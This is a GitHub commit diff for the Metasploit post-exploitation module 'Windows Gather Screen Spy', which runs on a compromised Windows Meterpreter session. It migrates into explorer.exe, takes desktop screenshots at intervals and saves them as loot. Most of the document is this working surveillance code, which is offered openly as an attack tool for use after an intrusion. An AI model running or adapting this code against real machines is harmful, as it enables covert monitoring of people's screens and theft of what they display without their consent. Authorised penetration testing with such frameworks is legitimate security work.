Skip to content

Commit

Permalink
Merge branch 'bug/fix_screenspy' of github.com:kernelsmith/metasploit…
Browse files Browse the repository at this point in the history
…-framework into kernelsmith-bug/fix_screenspy
  • Loading branch information
sinn3r committed Feb 26, 2013
2 parents 38af8ba + 8a91f0d commit 3334257
Showing 1 changed file with 66 additions and 33 deletions.
99 changes: 66 additions & 33 deletions modules/post/windows/gather/screen_spy.rb
Expand Up @@ -13,34 +13,39 @@ def initialize(info={})
super( update_info(info,
'Name' => 'Windows Gather Screen Spy',
'Description' => %q{
This module will incrementally take screenshots of the meterpreter host. This
This module will incrementally take desktop screenshots from the host. This
allows for screen spying which can be useful to determine if there is an active
user on a machine, or to record the screen for later data extraction.
NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name
will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to
have the module do it's best...default browser for Windows, firefox for *nix, and
preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress
opening of screenshots all together, set the VIEW_CMD option to 'none'.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Roni Bachar <roni.bachar.blog[at]gmail.com>', # original meterpreter script
'bannedit', # post module
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record support
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record/loot support,log x approach, nx
'Adrian Kubok' # better record file names
],
'Platform' => ['win'],
'Platform' => ['win'], # @todo add support for posix meterpreter somehow?
'SessionTypes' => ['meterpreter']
))

register_options(
[
OptInt.new('DELAY', [false, 'Interval between screenshots in seconds', 5]),
OptInt.new('COUNT', [false, 'Number of screenshots to collect', 60]),
OptString.new('BROWSER', [false, 'Browser to use for viewing screenshots', 'firefox']),
OptBool.new('RECORD', [false, 'Record all screenshots to disk',false])
OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]),
OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]),
OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']),
OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false])
], self.class)
end

def run
host = session.session_host
screenshot = Msf::Config.install_root + "/data/" + host + ".jpg"
screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"

migrate_explorer
if session.platform !~ /win32|win64/i
Expand All @@ -55,46 +60,73 @@ def run
return
end

# here we check for the local platform and use default browsers
# linux is the one question mark firefox is not necessarily a
case ::Config::CONFIG['host'] # neat trick to get the local system platform
when /ming/
cmd = "start #{datastore['BROWSER']} \"file://#{screenshot}\""
when /linux/
cmd = "#{datastore['BROWSER']} file://#{screenshot}"
when /apple/
cmd = "open file://#{screenshot}" # this will use preview
# here we check for the local platform to determine what to do when 'auto' is selected
if datastore['VIEW_CMD'].downcase == 'auto'
case ::RbConfig::CONFIG['host_os']
when /mac|darwin/
cmd = "open file://#{screenshot}" # this will use preview usually
when /mswin|win|mingw/
cmd = "start iexplore.exe \"file://#{screenshot}\""
when /linux|cygwin/
# This opens a new tab for each screenshot, but I don't see a better way
cmd = "firefox file://#{screenshot} &"
else # bsd/sun/solaris might be different, but for now...
cmd = "firefox file://#{screenshot} &"
end
elsif datastore['VIEW_CMD'].downcase == 'none'
cmd = nil
else
cmd = "#{datastore['VIEW_CMD']}#{screenshot}"
end

begin
count = datastore['COUNT']
print_status "Capturing %u screenshots with a delay of %u seconds" % [count, datastore['DELAY']]
print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
leading_zeros = Math::log(count,10).round
leading_zeros = Math::log10(count).round
file_locations = []
count.times do |num|
select(nil, nil, nil, datastore['DELAY'])
data = session.espia.espia_image_get_dev_screen
begin
data = session.espia.espia_image_get_dev_screen
rescue RequestError => e
print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
return false
end
if data
if datastore['RECORD']
# let's write it to disk using non-clobbering filename
shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num
ss = ::File.new(shot, 'wb')
ss.write(data)
ss.close
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
fn = "screenshot.%0#{leading_zeros}d.jpg" % num
file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot")
end

fd = ::File.new(screenshot, 'wb')
fd.write(data)
fd.close
# also write to disk temporarily so we can display in browser. They may or may not have been RECORDed.
if cmd # do this if they have not suppressed VIEW_CMD display
fd = ::File.new(screenshot, 'wb')
fd.write(data)
fd.close
end
end
system(cmd)
system(cmd) if cmd
end
rescue ::Exception => e
print_error("Error taking screenshot: #{e.class} #{e} #{e.backtrace}")
rescue IOError, Errno::ENOENT => e
print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
return
end
print_status("Screen Spying Complete")
::File.delete(screenshot)
if file_locations and not file_locations.empty?
print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot"
end
if cmd
# wait 2 secs so the last file can get opened before deletion
select(nil, nil, nil, 2)
begin
::File.delete(screenshot)
rescue Exception => e
print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}")
print_error("This may be due to the file being in use if you are on a Windows platform")
end
end
end

def migrate_explorer
Expand All @@ -105,9 +137,10 @@ def migrate_explorer
begin
session.core.migrate(p['pid'].to_i)
print_status("Migration successful")
return p['pid']
rescue
print_status("Migration failed.")
return
return nil
end
end
end
Expand Down

0 comments on commit 3334257

Please sign in to comment.